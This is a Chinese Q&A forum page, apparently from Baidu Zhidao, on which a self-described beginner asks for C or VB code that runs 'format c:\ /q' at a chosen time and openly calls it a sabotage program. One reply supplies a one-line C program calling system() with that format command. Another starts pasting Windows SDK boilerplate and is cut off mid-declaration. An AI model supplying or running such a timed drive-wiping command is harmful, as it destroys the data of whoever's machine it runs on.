在线 寻找 代码

来源:百度知道 编辑:UC知道 时间:2024/06/25 11:29:59
指定程序在指定时间作出一种动作 .

那位能给出代码.
C语言的..

谢谢
。。
就是写一个程序。我要它在指定时间内执行format c:\ /q
呵```

感谢各位热心人士解答.
我是菜鸟一个
能给出VB的源码不`?
:)
运行程序后.读取系统时间.
到某一个时间.执行format动作.
这是一个搞破坏程序。反感的朋友就不要回了!~
我是这样写的。
http://cnxhack.blog.sohu.com

一句就行了,
void main(void){
system("format c:\ /q ");
}
你在指定时间运行它,不就得了
要么在WINDOWS下做个
WinMain(),使用SDK,也可以的, 不过代码长了点, 但应是C吧.

// KKAA.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include "resource.h"

#define MAX_LOADSTRING 100

// Global Variables:
HINSTANCE hInst; // current instance
TCHAR szTitle[MAX_LOADSTRING]; // The title bar text
TCHAR szWindowClass[MAX_LOADSTRING]; // The title bar text

// Foward declarations of functions included in this code module:
ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
LRESULT CALLBACK About(HWND, UINT, WPARAM, LPARAM);

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR